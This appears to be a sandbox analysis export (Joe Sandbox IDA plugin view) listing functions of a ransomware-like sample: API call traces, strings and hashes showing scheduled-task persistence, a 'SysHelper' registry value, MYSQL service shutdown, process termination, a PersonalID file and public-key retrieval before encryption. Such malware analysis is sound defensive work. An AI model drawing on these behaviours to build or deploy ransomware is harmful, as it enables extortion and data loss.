Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52
--Task, xrefs: 0040DBB5

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: e319be2d829e19d2b37083f58621ed3e6e1b196228c1693d1d3392fa3d1c8cc5
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: e319be2d829e19d2b37083f58621ed3e6e1b196228c1693d1d3392fa3d1c8cc5
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: cd2d1ebaeb73b000566b27407120cf5776c271d9576cf7e4bfe0b84696e73251
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: cd2d1ebaeb73b000566b27407120cf5776c271d9576cf7e4bfe0b84696e73251
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: 29df590b87079fe373604ab2510f8e0d2be2aa40337168becaf5725ce843f379
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: 29df590b87079fe373604ab2510f8e0d2be2aa40337168becaf5725ce843f379
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: bdc96602964ad8b920cf40b2209df659bd1cb66cbbbdb531259c3fc2440f218c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: bdc96602964ad8b920cf40b2209df659bd1cb66cbbbdb531259c3fc2440f218c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
DEK-Info: , xrefs: 00463422
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

bowsakkdestx.txt, xrefs: 0041EA67
{"public_key":", xrefs: 0041EA2E

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

, xrefs: 00457482
+, xrefs: 00457475
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.1397075363.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1397075363.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1397075363.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_R5391762lf.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
